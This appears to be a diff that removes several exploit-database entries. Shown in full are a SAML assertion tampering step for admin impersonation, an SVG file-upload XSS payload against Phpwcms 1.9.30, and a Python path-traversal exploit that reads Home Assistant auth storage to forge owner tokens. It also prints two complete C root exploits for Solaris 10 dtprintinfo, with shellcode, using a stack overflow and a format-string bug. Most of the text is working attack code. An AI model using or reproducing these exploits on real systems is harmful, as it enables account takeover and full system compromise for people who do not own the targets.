<saml:AuthnStatement AuthnInstant="2021-06-23T21:04:01.551Z" SessionIndex="_WWwvhpmMv5eJI4bwPdsPAiasFpTH8gt_">
|
|
||||||
<saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>
|
|
||||||
</saml:AuthnContext>
|
|
||||||
</saml:AuthnStatement>
|
|
||||||
<saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema"
|
|
||||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
|
||||||
<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
|
||||||
<saml:AttributeValue xsi:type="xs:string">admin</saml:AttributeValue>
|
|
||||||
</saml:Attribute>
|
|
||||||
<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
|
||||||
<saml:AttributeValue xsi:type="xs:string">test@example.com</saml:AttributeValue>
|
|
||||||
</saml:Attribute>
|
|
||||||
<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
|
||||||
<saml:AttributeValue xsi:type="xs:string">test@example.com</saml:AttributeValue>
|
|
||||||
</saml:Attribute>
|
|
||||||
<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
|
||||||
<saml:AttributeValue xsi:type="xs:string">test@example.com</saml:AttributeValue>
|
|
||||||
</saml:Attribute>
|
|
||||||
<saml:Attribute Name="http://schemas.auth0.com/identities/default/connection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
|
||||||
<saml:AttributeValue xsi:type="xs:string">Username-Password-Authentication</saml:AttributeValue>
|
|
||||||
</saml:Attribute>
|
|
||||||
<saml:Attribute Name="http://schemas.auth0.com/identities/default/provider" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
|
||||||
<saml:AttributeValue xsi:type="xs:string">auth0</saml:AttributeValue>
|
|
||||||
</saml:Attribute>
|
|
||||||
<saml:Attribute Name="http://schemas.auth0.com/identities/default/isSocial" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
|
||||||
<saml:AttributeValue xsi:type="xs:boolean">false</saml:AttributeValue>
|
|
||||||
</saml:Attribute>
|
|
||||||
<saml:Attribute Name="http://schemas.auth0.com/clientID" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
|
||||||
<saml:AttributeValue xsi:type="xs:string">8bbK44pPnBAqzN49pSuwmgdhgsZavkNI</saml:AttributeValue>
|
|
||||||
</saml:Attribute>
|
|
||||||
<saml:Attribute Name="http://schemas.auth0.com/created_at" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
|
||||||
<saml:AttributeValue xsi:type="xs:anyType">Wed Jun 23 2021 21:01:51 GMT+0000 (Coordinated Universal Time)</saml:AttributeValue>
|
|
||||||
</saml:Attribute>
|
|
||||||
<saml:Attribute Name="http://schemas.auth0.com/email_verified" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
|
||||||
<saml:AttributeValue xsi:type="xs:boolean">false</saml:AttributeValue>
|
|
||||||
</saml:Attribute>
|
|
||||||
<saml:Attribute Name="http://schemas.auth0.com/nickname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
|
||||||
<saml:AttributeValue xsi:type="xs:string">test</saml:AttributeValue>
|
|
||||||
</saml:Attribute>
|
|
||||||
<saml:Attribute Name="http://schemas.auth0.com/picture" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
|
||||||
<saml:AttributeValue xsi:type="xs:string">https://s.gravatar.com/avatar/55502f40dc8b7c769880b10874abc9d0?s=480&r=pg&d=https%3A%2F%2Fcdn.auth0.com%2Favatars%2Fte.png</saml:AttributeValue>
|
|
||||||
</saml:Attribute>
|
|
||||||
<saml:Attribute Name="http://schemas.auth0.com/updated_at" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
|
||||||
|
|
||||||
<saml:AttributeValue xsi:type="xs:anyType">Wed Jun 23 2021 21:01:51 GMT+0000 (Coordinated Universal Time)</saml:AttributeValue>
|
|
||||||
|
|
||||||
</saml:Attribute>
|
|
||||||
|
|
||||||
</saml:AttributeStatement>
|
|
||||||
|
|
||||||
</saml:Assertion>
|
|
||||||
|
|
||||||
- Replace the username with one with higher privileges (like admin)
|
|
||||||
|
|
||||||
- Submit the request
|
|
||||||
|
|
||||||
- Successful exploitation
|
|
||||||
|
|
@ -1,35 +0,0 @@
|
||||||
# Exploit Title: Phpwcms 1.9.30 - File Upload to XSS
|
|
||||||
# Date: 30/9/2021
|
|
||||||
# Exploit Author: Okan Kurtulus | okankurtulus.com.tr
|
|
||||||
# Software Link: http://www.phpwcms.org/
|
|
||||||
# Version: 1.9.30
|
|
||||||
# Tested on: Ubuntu 16.04
|
|
||||||
|
|
||||||
Steps:
|
|
||||||
|
|
||||||
1-) You need to login to the system.
|
|
||||||
http://target.com/phpwcms/login.php
|
|
||||||
|
|
||||||
2-) Creating payload with SVG extension: payload.svg
|
|
||||||
|
|
||||||
<?xml version="1.0" standalone="no"?>
|
|
||||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
|
||||||
|
|
||||||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
|
||||||
<rect width="300" height="100" style="fill:rgb(255,0,0);stroke-width:3;stroke:rgb(0,0,0)" />
|
|
||||||
<script type="text/javascript">
|
|
||||||
alert("XSS!");
|
|
||||||
</script>
|
|
||||||
</svg>
|
|
||||||
|
|
||||||
|
|
||||||
3-) Go to the following link and upload the payload:
|
|
||||||
http://target.com/phpwcms/phpwcms.php?csrftoken=b72d02a26550b9877616c851aa6271be&do=files&p=8
|
|
||||||
|
|
||||||
From the menu:
|
|
||||||
|
|
||||||
file -> multiple file upload -> Select files or drop here
|
|
||||||
|
|
||||||
4-) After uploading payload, call it from the link below.
|
|
||||||
|
|
||||||
http://192.168.1.112/phpwcms/upload/
|
|
||||||
|
|
@ -1,86 +0,0 @@
|
||||||
# Exploit Title: Home Assistant Community Store (HACS) 1.10.0 - Path Traversal to Account Takeover
|
|
||||||
# Date: 2021-01-28
|
|
||||||
# Exploit Author: Lyghtnox
|
|
||||||
# Vendor Homepage: https://www.home-assistant.io/
|
|
||||||
# Software Link: https://github.com/hacs/integration
|
|
||||||
# Version: < 1.10.0
|
|
||||||
# Tested on: Raspbian + Home Assistant 2021.1.0
|
|
||||||
# Blog post: https://lyghtnox.gitlab.io/posts/hacs-exploit/
|
|
||||||
|
|
||||||
# STEP 1: Run the exploit (python3 exploit.py host port)
|
|
||||||
# STEP 2: Copy the token printed and set in your browser's local storage with
|
|
||||||
# the key `hassTokens`
|
|
||||||
|
|
||||||
import requests
|
|
||||||
import jwt
|
|
||||||
import json
|
|
||||||
import argparse
|
|
||||||
|
|
||||||
|
|
||||||
class HA:
|
|
||||||
def __init__(self, ip, port):
|
|
||||||
self.ip = ip
|
|
||||||
self.port = port
|
|
||||||
|
|
||||||
def retrieveFile(self, f):
|
|
||||||
url = f'http://{self.ip}:{self.port}/hacsfiles/../../{f}'
|
|
||||||
with requests.Session() as s:
|
|
||||||
r = requests.Request(method='GET', url=url)
|
|
||||||
prep = r.prepare()
|
|
||||||
prep.url = url
|
|
||||||
try:
|
|
||||||
r = s.send(prep, verify=False)
|
|
||||||
except requests.exceptions.ConnectionError:
|
|
||||||
return
|
|
||||||
if r.status_code == 400 or r.status_code == 404:
|
|
||||||
return
|
|
||||||
return r
|
|
||||||
|
|
||||||
def craftToken(self):
|
|
||||||
f = self.retrieveFile('.storage/auth').json()
|
|
||||||
|
|
||||||
# Find owner
|
|
||||||
for user in f['data']['users']:
|
|
||||||
if user['is_owner']:
|
|
||||||
self.owner = user['id']
|
|
||||||
break
|
|
||||||
else:
|
|
||||||
print("No owner found. Using first account")
|
|
||||||
self.owner = f['data']['users'][0]['id']
|
|
||||||
|
|
||||||
for token in f['data']['refresh_tokens']:
|
|
||||||
if self.owner == token['user_id']:
|
|
||||||
encoded_jwt = jwt.encode({'iss': token['id']},
|
|
||||||
token['jwt_key'],
|
|
||||||
algorithm="HS256")
|
|
||||||
self.token = {'access_token': encoded_jwt,
|
|
||||||
'token_type': 'Bearer',
|
|
||||||
'refresh_token': token['token'],
|
|
||||||
'expires_in': 1800,
|
|
||||||
'hassUrl': f"http://{self.ip}:{self.port}",
|
|
||||||
'clientId': token['client_id']}
|
|
||||||
return self.token
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
parser = argparse.ArgumentParser(description="Exploit a vulnerability in \
|
|
||||||
HACS < 1.10.0 to gain admin access to an Home Assistant instance.")
|
|
||||||
parser.add_argument("host", type=str, help="IP of the HASS instance")
|
|
||||||
parser.add_argument("port", type=int, help="port of the HASS instance")
|
|
||||||
args = parser.parse_args()
|
|
||||||
|
|
||||||
r = requests.get('http://{ip}:{port}/hacsfiles/iconset.js'.format(
|
|
||||||
ip=args.host,
|
|
||||||
port=args.port))
|
|
||||||
if r.status_code != 404:
|
|
||||||
print("HACS found! Testing vulnerability...", end='', flush=True)
|
|
||||||
ha = HA(args.host, args.port)
|
|
||||||
if ha.retrieveFile('configuration.yaml'):
|
|
||||||
print(": VULNERABLE")
|
|
||||||
token = ha.craftToken()
|
|
||||||
if token:
|
|
||||||
print(f"Use the following 'hassTokens': {json.dumps(token)}")
|
|
||||||
else:
|
|
||||||
print("Unable to craft token")
|
|
||||||
else:
|
|
||||||
print(": Not vulnerable")
|
|
||||||
|
|
@ -1,356 +0,0 @@
|
||||||
# Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (2)
|
|
||||||
# Date: 2021-02-01
|
|
||||||
# Exploit Author: Marco Ivaldi
|
|
||||||
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
|
|
||||||
# Version: Solaris 10
|
|
||||||
# Tested on: Solaris 10 1/13 Intel
|
|
||||||
|
|
||||||
|
|
||||||
/*
|
|
||||||
* raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE
|
|
||||||
* Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
|
|
||||||
*
|
|
||||||
* "What we do in life echoes in eternity" -- Maximus Decimus Meridius
|
|
||||||
* https://patchfriday.com/22/
|
|
||||||
*
|
|
||||||
* Another buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
|
|
||||||
* local root. This one was discovered by Marti Guasch Jimenez, who attended my
|
|
||||||
* talk "A bug's life: story of a Solaris 0day" presented at #INFILTRATE19 on
|
|
||||||
* May 2nd, 2019 (https://github.com/0xdea/raptor_infiltrate19).
|
|
||||||
*
|
|
||||||
* It's a stack-based buffer overflow in the check_dir() function:
|
|
||||||
* void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...){
|
|
||||||
* char local_724 [300];
|
|
||||||
* ...
|
|
||||||
* __format = getenv("REQ_DIR");
|
|
||||||
* sprintf(local_724,__format,param_2);
|
|
||||||
*
|
|
||||||
* "To trigger this vulnerability we need a printer present, we can also fake
|
|
||||||
* it with the lpstat trick. We also need at least one directory in the path
|
|
||||||
* pointed by the environment variable TMP_DIR. Finally, we just need to set
|
|
||||||
* REQ_DIR with a value of 0x720 of padding + value to overwrite EBP + value to
|
|
||||||
* overwrite EIP." -- Marti Guasch Jimenez
|
|
||||||
*
|
|
||||||
* This bug was likely fixed during the general cleanup of CDE code done by
|
|
||||||
* Oracle in response to my recently reported vulnerabilities. However, I can't
|
|
||||||
* confirm this because I have no access to their patches:/
|
|
||||||
*
|
|
||||||
* Usage:
|
|
||||||
* $ gcc raptor_dtprintcheckdir_intel.c -o raptor_dtprintcheckdir_intel -Wall
|
|
||||||
* [on your xserver: disable the access control]
|
|
||||||
* $ ./raptor_dtprintcheckdir_intel 192.168.1.1:0
|
|
||||||
* [on your xserver: double click on the fake "fnord" printer]
|
|
||||||
* [...]
|
|
||||||
* # id
|
|
||||||
* uid=0(root) gid=1(other)
|
|
||||||
* #
|
|
||||||
*
|
|
||||||
* Tested on:
|
|
||||||
* SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
|
|
||||||
* [previous Solaris versions are also likely vulnerable]
|
|
||||||
*/
|
|
||||||
|
|
||||||
#include <fcntl.h>
|
|
||||||
#include <link.h>
|
|
||||||
#include <procfs.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <strings.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <sys/stat.h>
|
|
||||||
#include <sys/systeminfo.h>
|
|
||||||
#include <sys/types.h>
|
|
||||||
|
|
||||||
#define INFO1 "raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE"
|
|
||||||
#define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
|
|
||||||
|
|
||||||
#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
|
|
||||||
#define BUFSIZE 2048 // size of the evil env var
|
|
||||||
|
|
||||||
char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
|
|
||||||
/* double setuid() */
|
|
||||||
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
|
|
||||||
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
|
|
||||||
/* execve() */
|
|
||||||
"\x31\xc0\x50\x68/ksh\x68/bin"
|
|
||||||
"\x89\xe3\x50\x53\x89\xe2\x50"
|
|
||||||
"\x52\x53\xb0\x3b\x50\xcd\x91";
|
|
||||||
|
|
||||||
/* globals */
|
|
||||||
char *arg[2] = {"foo", NULL};
|
|
||||||
char *env[256];
|
|
||||||
int env_pos = 0, env_len = 0;
|
|
||||||
|
|
||||||
/* prototypes */
|
|
||||||
int add_env(char *string);
|
|
||||||
void check_zero(int addr, char *pattern);
|
|
||||||
int get_sc_addr(char *path, char **argv);
|
|
||||||
int search_ldso(char *sym);
|
|
||||||
int search_rwx_mem(void);
|
|
||||||
void set_val(char *buf, int pos, int val);
|
|
||||||
|
|
||||||
/*
|
|
||||||
* main()
|
|
||||||
*/
|
|
||||||
int main(int argc, char **argv)
|
|
||||||
{
|
|
||||||
char buf[BUFSIZE];
|
|
||||||
char platform[256], release[256], display[256];
|
|
||||||
int i, sc_addr;
|
|
||||||
|
|
||||||
int sb = ((int)argv[0] | 0xfff); /* stack base */
|
|
||||||
int ret = search_ldso("strcpy"); /* or sprintf */
|
|
||||||
int rwx_mem = search_rwx_mem(); /* rwx memory */
|
|
||||||
|
|
||||||
/* lpstat code to add a fake printer */
|
|
||||||
if (!strcmp(argv[0], "lpstat")) {
|
|
||||||
|
|
||||||
/* check command line */
|
|
||||||
if (argc != 2)
|
|
||||||
exit(1);
|
|
||||||
|
|
||||||
/* print the expected output and exit */
|
|
||||||
if(!strcmp(argv[1], "-v")) {
|
|
||||||
fprintf(stderr, "lpstat called with -v\n");
|
|
||||||
printf("device for fnord: /dev/null\n");
|
|
||||||
} else {
|
|
||||||
fprintf(stderr, "lpstat called with -d\n");
|
|
||||||
printf("system default destination: fnord\n");
|
|
||||||
}
|
|
||||||
exit(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* helper program that prints argv[0] address, used by get_sc_addr() */
|
|
||||||
if (!strcmp(argv[0], "foo")) {
|
|
||||||
printf("0x%p\n", argv[0]);
|
|
||||||
exit(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* print exploit information */
|
|
||||||
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
|
|
||||||
|
|
||||||
/* process command line */
|
|
||||||
if (argc != 2) {
|
|
||||||
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
sprintf(display, "DISPLAY=%s", argv[1]);
|
|
||||||
|
|
||||||
/* prepare the evil env var */
|
|
||||||
memset(buf, 'A', sizeof(buf));
|
|
||||||
buf[sizeof(buf) - 1] = 0x0;
|
|
||||||
memcpy(buf, "REQ_DIR=", 8);
|
|
||||||
|
|
||||||
/* fill the envp, keeping padding */
|
|
||||||
add_env(sc);
|
|
||||||
add_env(buf);
|
|
||||||
add_env(display);
|
|
||||||
add_env("TMP_DIR=/tmp");
|
|
||||||
add_env("PATH=.:/usr/bin");
|
|
||||||
add_env("HOME=/tmp");
|
|
||||||
add_env(NULL);
|
|
||||||
|
|
||||||
/* calculate the shellcode address */
|
|
||||||
sc_addr = get_sc_addr(VULN, argv);
|
|
||||||
|
|
||||||
/* fill with ld.so.1 address, saved eip, and arguments */
|
|
||||||
for (i = 12; i < BUFSIZE - 20; i += 4) {
|
|
||||||
set_val(buf, i, ret); /* strcpy */
|
|
||||||
set_val(buf, i += 4, rwx_mem); /* saved eip */
|
|
||||||
set_val(buf, i += 4, rwx_mem); /* 1st argument */
|
|
||||||
set_val(buf, i += 4, sc_addr); /* 2nd argument */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* we need at least one directory inside TMP_DIR to trigger the bug */
|
|
||||||
mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
|
|
||||||
|
|
||||||
/* create a symlink for the fake lpstat */
|
|
||||||
unlink("lpstat");
|
|
||||||
symlink(argv[0], "lpstat");
|
|
||||||
|
|
||||||
/* print some output */
|
|
||||||
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
|
|
||||||
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
|
|
||||||
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
|
|
||||||
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
|
|
||||||
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
|
|
||||||
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
|
|
||||||
fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
|
|
||||||
|
|
||||||
/* check for null bytes */
|
|
||||||
check_zero(sc_addr, "sc address");
|
|
||||||
|
|
||||||
/* run the vulnerable program */
|
|
||||||
execve(VULN, arg, env);
|
|
||||||
perror("execve");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* add_env(): add a variable to envp and pad if needed
|
|
||||||
*/
|
|
||||||
int add_env(char *string)
|
|
||||||
{
|
|
||||||
int i;
|
|
||||||
|
|
||||||
/* null termination */
|
|
||||||
if (!string) {
|
|
||||||
env[env_pos] = NULL;
|
|
||||||
return env_len;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* add the variable to envp */
|
|
||||||
env[env_pos] = string;
|
|
||||||
env_len += strlen(string) + 1;
|
|
||||||
env_pos++;
|
|
||||||
|
|
||||||
/* pad the envp using zeroes */
|
|
||||||
if ((strlen(string) + 1) % 4)
|
|
||||||
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
|
|
||||||
env[env_pos] = string + strlen(string);
|
|
||||||
env_len++;
|
|
||||||
}
|
|
||||||
|
|
||||||
return env_len;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* check_zero(): check an address for the presence of a 0x00
|
|
||||||
*/
|
|
||||||
void check_zero(int addr, char *pattern)
|
|
||||||
{
|
|
||||||
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
|
|
||||||
!(addr & 0xff000000)) {
|
|
||||||
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* get_sc_addr(): get shellcode address using a helper program
|
|
||||||
*/
|
|
||||||
int get_sc_addr(char *path, char **argv)
|
|
||||||
{
|
|
||||||
char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
|
|
||||||
char hex[11] = "\x00";
|
|
||||||
int fd[2], addr;
|
|
||||||
|
|
||||||
/* truncate program name at correct length and create a hard link */
|
|
||||||
prog[strlen(path)] = 0x0;
|
|
||||||
unlink(prog);
|
|
||||||
link(argv[0], prog);
|
|
||||||
|
|
||||||
/* open pipe to read program output */
|
|
||||||
if (pipe(fd) < 0) {
|
|
||||||
perror("pipe");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
switch(fork()) {
|
|
||||||
|
|
||||||
case -1: /* cannot fork */
|
|
||||||
perror("fork");
|
|
||||||
exit(1);
|
|
||||||
|
|
||||||
case 0: /* child */
|
|
||||||
dup2(fd[1], 1);
|
|
||||||
close(fd[0]);
|
|
||||||
close(fd[1]);
|
|
||||||
execve(prog, arg, env);
|
|
||||||
perror("execve");
|
|
||||||
exit(1);
|
|
||||||
|
|
||||||
default: /* parent */
|
|
||||||
close(fd[1]);
|
|
||||||
read(fd[0], hex, sizeof(hex));
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* check and return address */
|
|
||||||
if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
|
|
||||||
fprintf(stderr, "error: cannot read sc address from helper program\n");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
return addr;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* search_ldso(): search for a symbol inside ld.so.1
|
|
||||||
*/
|
|
||||||
int search_ldso(char *sym)
|
|
||||||
{
|
|
||||||
int addr;
|
|
||||||
void *handle;
|
|
||||||
Link_map *lm;
|
|
||||||
|
|
||||||
/* open the executable object file */
|
|
||||||
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
|
|
||||||
perror("dlopen");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* get dynamic load information */
|
|
||||||
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
|
|
||||||
perror("dlinfo");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* search for the address of the symbol */
|
|
||||||
if ((addr = (int)dlsym(handle, sym)) == NULL) {
|
|
||||||
fprintf(stderr, "sorry, function %s() not found\n", sym);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* close the executable object file */
|
|
||||||
dlclose(handle);
|
|
||||||
|
|
||||||
check_zero(addr - 4, sym);
|
|
||||||
return addr;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* search_rwx_mem(): search for an RWX memory segment valid for all
|
|
||||||
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
|
|
||||||
*/
|
|
||||||
int search_rwx_mem(void)
|
|
||||||
{
|
|
||||||
int fd;
|
|
||||||
char tmp[16];
|
|
||||||
prmap_t map;
|
|
||||||
int addr = 0, addr_old;
|
|
||||||
|
|
||||||
/* open the proc filesystem */
|
|
||||||
sprintf(tmp,"/proc/%d/map", (int)getpid());
|
|
||||||
if ((fd = open(tmp, O_RDONLY)) < 0) {
|
|
||||||
fprintf(stderr, "can't open %s\n", tmp);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* search for the last RWX memory segment before stack (last - 1) */
|
|
||||||
while (read(fd, &map, sizeof(map)))
|
|
||||||
if (map.pr_vaddr)
|
|
||||||
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
|
|
||||||
addr_old = addr;
|
|
||||||
addr = map.pr_vaddr;
|
|
||||||
}
|
|
||||||
close(fd);
|
|
||||||
|
|
||||||
/* add 4 to the exact address null bytes */
|
|
||||||
if (!(addr_old & 0xff))
|
|
||||||
addr_old |= 0x04;
|
|
||||||
if (!(addr_old & 0xff00))
|
|
||||||
addr_old |= 0x0400;
|
|
||||||
|
|
||||||
return addr_old;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* set_val(): copy a dword inside a buffer (little endian)
|
|
||||||
*/
|
|
||||||
void set_val(char *buf, int pos, int val)
|
|
||||||
{
|
|
||||||
buf[pos] = (val & 0x000000ff);
|
|
||||||
buf[pos + 1] = (val & 0x0000ff00) >> 8;
|
|
||||||
buf[pos + 2] = (val & 0x00ff0000) >> 16;
|
|
||||||
buf[pos + 3] = (val & 0xff000000) >> 24;
|
|
||||||
}
|
|
||||||
|
|
@ -1,279 +0,0 @@
|
||||||
# Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3)
|
|
||||||
# Date: 2021-02-01
|
|
||||||
# Exploit Author: Marco Ivaldi
|
|
||||||
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
|
|
||||||
# Version: Solaris 10
|
|
||||||
# Tested on: Solaris 10 1/13 Intel
|
|
||||||
|
|
||||||
/*
|
|
||||||
* raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE
|
|
||||||
* Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
|
|
||||||
*
|
|
||||||
* "I'm gonna have to go into hardcore hacking mode!" -- Hackerman
|
|
||||||
* https://youtu.be/KEkrWRHCDQU
|
|
||||||
*
|
|
||||||
* Same code snippet, different vulnerability. 20 years later, format string
|
|
||||||
* bugs are not extinct after all! The vulnerable function looks like this:
|
|
||||||
*
|
|
||||||
* void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...)
|
|
||||||
* {
|
|
||||||
* ...
|
|
||||||
* char local_724 [300];
|
|
||||||
* ...
|
|
||||||
* else {
|
|
||||||
* __format = getenv("REQ_DIR");
|
|
||||||
* sprintf(local_724,__format,param_2); // [1]
|
|
||||||
* }
|
|
||||||
* ...
|
|
||||||
* local_c = strlen(local_724); // [2]
|
|
||||||
* sprintf(local_5f8,"/var/spool/lp/tmp/%s/",param_2); // [3]
|
|
||||||
* ...
|
|
||||||
* }
|
|
||||||
*
|
|
||||||
* The plan (inspired by an old technique devised by gera) is to exploit the
|
|
||||||
* sprintf at [1], where we control the format string, to replace the strlen
|
|
||||||
* at [2] with a strdup and the sprintf at [3] with a call to the shellcode
|
|
||||||
* dynamically allocated in the heap by strdup and pointed to by the local_c
|
|
||||||
* variable at [2]. In practice, to pull this off the structure of the evil
|
|
||||||
* environment variable REQ_DIR must be:
|
|
||||||
* [sc] [pad] [.got/strlen] [.got/sprintf] [stackpop] [W .plt/strdup] [W call *-0x8(%ebp)]
|
|
||||||
*
|
|
||||||
* To collect the needed addresses for your system, use:
|
|
||||||
* $ objdump -R /usr/dt/bin/dtprintinfo | grep strlen # .got
|
|
||||||
* 080994cc R_386_JUMP_SLOT strlen
|
|
||||||
* $ objdump -R /usr/dt/bin/dtprintinfo | grep sprintf # .got
|
|
||||||
* 080994e4 R_386_JUMP_SLOT sprintf
|
|
||||||
* $ objdump -x /usr/dt/bin/dtprintinfo | grep strdup # .plt
|
|
||||||
* 0805df20 F *UND* 00000000 strdup
|
|
||||||
* $ objdump -d /usr/dt/bin/dtprintinfo | grep call | grep ebp | grep -- -0x8 # .text
|
|
||||||
* 08067f52: ff 55 f8 call *-0x8(%ebp)
|
|
||||||
*
|
|
||||||
* This bug was likely fixed during the general cleanup of CDE code done by
|
|
||||||
* Oracle in response to my recently reported vulnerabilities. However, I can't
|
|
||||||
* confirm this because I have no access to their patches:/
|
|
||||||
*
|
|
||||||
* See also:
|
|
||||||
* raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
|
|
||||||
* raptor_dtprintcheckdir_sparc.c (just a proof of concept)
|
|
||||||
* raptor_dtprintcheckdir_sparc2.c (the real deal)
|
|
||||||
*
|
|
||||||
* Usage:
|
|
||||||
* $ gcc raptor_dtprintcheckdir_intel2.c -o raptor_dtprintcheckdir_intel2 -Wall
|
|
||||||
* [on your xserver: disable the access control]
|
|
||||||
* $ ./raptor_dtprintcheckdir_intel2 192.168.1.1:0
|
|
||||||
* [on your xserver: double click on the fake "fnord" printer]
|
|
||||||
* [...]
|
|
||||||
* # id
|
|
||||||
* uid=0(root) gid=1(other)
|
|
||||||
* #
|
|
||||||
*
|
|
||||||
* Tested on:
|
|
||||||
* SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
|
|
||||||
* [previous Solaris versions are also likely vulnerable]
|
|
||||||
*/
|
|
||||||
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <strings.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <sys/stat.h>
|
|
||||||
#include <sys/systeminfo.h>
|
|
||||||
|
|
||||||
#define INFO1 "raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE"
|
|
||||||
#define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
|
|
||||||
|
|
||||||
#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program
|
|
||||||
#define BUFSIZE 300 // size of evil env var
|
|
||||||
#define STACKPOPSEQ "%.8x" // stackpop sequence
|
|
||||||
#define STACKPOPS 14 // number of stackpops
|
|
||||||
|
|
||||||
/* replace with valid addresses for your system */
|
|
||||||
#define STRLEN 0x080994cc // .got strlen address
|
|
||||||
#define SPRINTF 0x080994e4 // .got sprintf address
|
|
||||||
#define STRDUP 0x0805df20 // .plt strdup address
|
|
||||||
